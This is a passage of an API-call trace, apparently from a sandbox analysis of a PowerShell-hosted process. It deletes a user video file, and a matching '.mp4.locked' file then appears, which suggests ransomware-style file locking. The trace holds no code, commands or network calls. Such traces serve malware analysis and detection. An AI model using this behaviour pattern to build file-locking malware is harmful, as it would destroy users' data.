lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.026] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0139.026] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.026] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4\\", lpFilePart=0x0) returned 0x2a [0139.026] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0139.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0139.026] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0139.026] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0139.026] CoTaskMemFree (pv=0x8eb8d30) [0139.027] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4")) returned 0x20 [0139.027] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.028] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0139.028] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4"), fInfoLevelId=0x0, lpFileInformation=0x69e3ca4 | out: lpFileInformation=0x69e3ca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbbacea0, ftCreationTime.dwHighDateTime=0x1d4a322, ftLastAccessTime.dwLowDateTime=0xf0dbe690, ftLastAccessTime.dwHighDateTime=0x1d4a5f9, ftLastWriteTime.dwLowDateTime=0xf0dbe690, ftLastWriteTime.dwHighDateTime=0x1d4a5f9, nFileSizeHigh=0x0, nFileSizeLow=0x15008)) returned 1 [0139.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0139.028] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4")) returned 1 [0139.030] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.030] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.030] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.030] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.030] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.031] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4.locked")) returned 0x20 [0139.032] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4.locked")) returned 0x20 [0139.032] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked", lpFilePart=0x0) returned 0x30 [0139.032] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked", lpFilePart=0x0) returned 0x30 [0139.032] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.032] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4", lpFilePart=0x0) returned 0x29 [0139.032] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.032] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.032] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.032] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.035] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.035] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.035] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.035] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.035] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.037] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.037] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.037] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.037] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.037] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.039] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.039] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.039] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.039] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.039] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.041] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.041] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.041] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.041] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.041] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.043] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.045] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0139.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0139.046] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4.locked"), fInfoLevelId=0x0, lpFileInformation=0x69f1a68 | out: lpFileInformation=0x69f1a68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1615841d, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x1615841d, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x1617e6a4, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x15024)) returned 1 [0139.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0139.046] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked", lpFilePart=0x0) returned 0x30 [0139.046] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778 [0139.046] GetFileInformationByHandle (in: hFile=0x778, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0139.046] CloseHandle (hObject=0x778) returned 1 [0139.047] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0139.048] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0139.048] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0139.054] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0139.054] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0139.054] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0139.055] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0139.059] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0139.059] GetConsoleOutputCP () returned 0x1b5 [0139.060] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0139.060] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0139.060] GetConsoleOutputCP () returned 0x1b5 [0139.060] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0139.060] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0139.061] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a19678*, nNumberOfCharsToWrite=0x2b, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6a19678*, lpNumberOfCharsWritten=0x99ae3a4*=0x2b) returned 1 [0139.061] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0139.062] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0139.066] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0139.066] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0139.067] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0139.071] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0139.071] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0139.071] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0139.076] GetConsoleOutputCP () returned 0x1b5 [0139.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0139.076] GetConsoleOutputCP () returned 0x1b5 [0139.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0139.077] GetConsoleOutputCP () returned 0x1b5 [0139.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0139.077] GetConsoleOutputCP () returned 0x1b5 [0139.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0139.077] GetConsoleOutputCP () returned 0x1b5 [0139.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0139.078] GetConsoleOutputCP () returned 0x1b5 [0139.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0139.078] GetConsoleOutputCP () returned 0x1b5 [0139.079] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0139.079] GetConsoleOutputCP () returned 0x1b5 [0139.079] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0139.079] GetConsoleOutputCP () returned 0x1b5 [0139.079] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0139.079] GetConsoleOutputCP () returned 0x1b5 [0139.080] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0139.080] GetConsoleOutputCP () returned 0x1b5 [0139.081] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0139.081] GetConsoleOutputCP () returned 0x1b5 [0139.081] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0139.082] GetConsoleOutputCP () returned 0x1b5 [0139.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0139.082] GetConsoleOutputCP () returned 0x1b5 [0139.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0139.082] GetConsoleOutputCP () returned 0x1b5 [0139.083] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 